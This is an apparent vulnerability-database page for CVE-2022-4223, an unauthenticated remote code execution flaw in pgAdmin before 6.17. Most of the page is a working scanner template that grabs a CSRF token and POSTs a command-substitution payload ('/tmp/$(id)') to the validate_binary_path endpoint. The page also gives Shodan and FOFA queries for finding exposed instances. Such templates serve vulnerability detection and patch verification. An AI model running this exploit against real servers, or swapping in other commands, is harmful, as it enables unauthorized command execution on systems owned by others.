CVE-2022-4223: pgAdmin < 6.17 - Unauthenticated Remote Code Execution

2026-01-24 pgAdmin PoC Public

Description

pgAdmin prior to 6.17 contains an insecure HTTP API caused by improper access control, letting unauthenticated users execute arbitrary external utilities via path manipulation, exploit requires no authentication.

PoC

id: CVE-2022-4223

info:
  name: pgAdmin < 6.17 - Unauthenticated Remote Code Execution
  author: 0x_Akoko
  severity: critical
  description: |
    pgAdmin prior to 6.17 contains an insecure HTTP API caused by improper access control, letting unauthenticated users execute arbitrary external utilities via path manipulation, exploit requires no authentication.
  impact: |
    Attackers can execute arbitrary external utilities on the server, potentially leading to remote code execution or system compromise.
  remediation: |
    Update to version 6.17 or later to fix the security issue.
  reference:
    - https://github.com/advisories/GHSA-3v6v-2x6p-32mc
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4223
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4223
    epss-score: 0.80069
    epss-percentile: 0.99594
    cwe-id: CWE-94,CWE-862
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.title:"pgAdmin"
    fofa-query: title="pgAdmin"
  tags: cve,cve2022,pgadmin,rce,unauth,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - 'name="csrf_token"[^>]*value="([^"]+)"'
        internal: true

  - raw:
      - |
        POST /misc/validate_binary_path HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-pgA-CSRFToken: {{csrf}}
        Referer: {{RootURL}}/browser/

        {"utility_path":"/tmp/$(id)"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "uid=", "gid=")'
        condition: and

    extractors:
      - type: regex
        part: body
        regex:
          - 'uid=[0-9]+\([a-zA-Z0-9_-]+\)\s*gid=[0-9]+\([a-zA-Z0-9_-]+\)'
# digest: 4b0a00483046022100c04229ee0c50f3fb69bae0eb51ee0ff2ffe443e1fe5e9c4a890e469d450b6375022100a716c40fc078d541316394cd907a7c5a1cbb7fd611a9a0009ab6c68fd66de770:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities